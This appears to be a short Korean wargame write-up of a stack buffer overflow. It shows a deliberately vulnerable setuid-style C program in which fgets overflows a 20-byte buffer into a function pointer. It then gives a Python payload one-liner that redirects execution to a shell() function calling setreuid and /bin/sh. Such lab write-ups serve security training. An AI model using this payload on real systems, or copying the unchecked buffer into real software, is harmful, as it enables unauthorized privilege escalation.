#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
call 변수는 포인터 함수이다. printit 함수 주소 대신 shell 함수 주소로 덮어야한다.
[그림 1-1]를 참조하면 [그림 1-2] 그릴 수 있다.
payload 는 "A" * 40 + shell 함수 주소 이다.
shell 주소는 [그림 1-3] 처럼 간단하게 구할 수 있다.
(python -c 'print("A"*40+"\xd0\x84\x04\x08")';cat) | ./attackme
성공